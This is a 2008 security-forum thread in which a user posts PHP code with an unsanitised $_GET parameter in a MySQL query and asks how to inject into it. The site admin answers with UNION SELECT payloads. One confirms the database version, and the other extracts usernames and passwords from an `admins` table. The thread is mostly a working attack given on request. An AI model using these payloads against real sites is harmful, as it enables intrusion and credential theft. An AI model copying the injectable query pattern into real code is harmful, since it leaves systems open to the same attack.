|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 64
Members: 0
Total: 64
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Help to SQL Injection |
|
Posted: Mon Jun 16, 2008 9:55 am |
|
|
Xelion |
Regular user |
|
|
Joined: Jun 13, 2008 |
Posts: 15 |
|
|
|
|
|
|
|
Hi,
I have this sql query :
Code: | $query = mysql_query("SELECT * FROM `table` WHERE `field`=".$_GET['field']);
$field = mysql_fetch_array($query);
echo $field['pseudo']; |
I want to do a sql injection in this query and select 2 fields in another table.
Please help me ! |
|
|
|
|
Posted: Mon Jun 16, 2008 1:32 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
How many columns do you have in `table`? Let's say it's seven.
Next, which column is `pseudo`? Let's say it's 5-th.
Then:
Code: |
?field=-1+UNION+SELECT+1,2,3,4,@@version,6,7
|
If you can see mysql version string, then you have success!
Now let's assume, that target table is `admins` and target columns are `username` and `password`.
Then:
Code: |
?field=-1+UNION+SELECT+1,2,3,4,CONCAT(username,0x3a,password),6,7+FROM+`admins`
|
And result can be something like this:
|
|
|
|
|
Posted: Mon Jun 16, 2008 3:21 pm |
|
|
Xelion |
Regular user |
|
|
Joined: Jun 13, 2008 |
Posts: 15 |
|
|
|
|
|
|
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|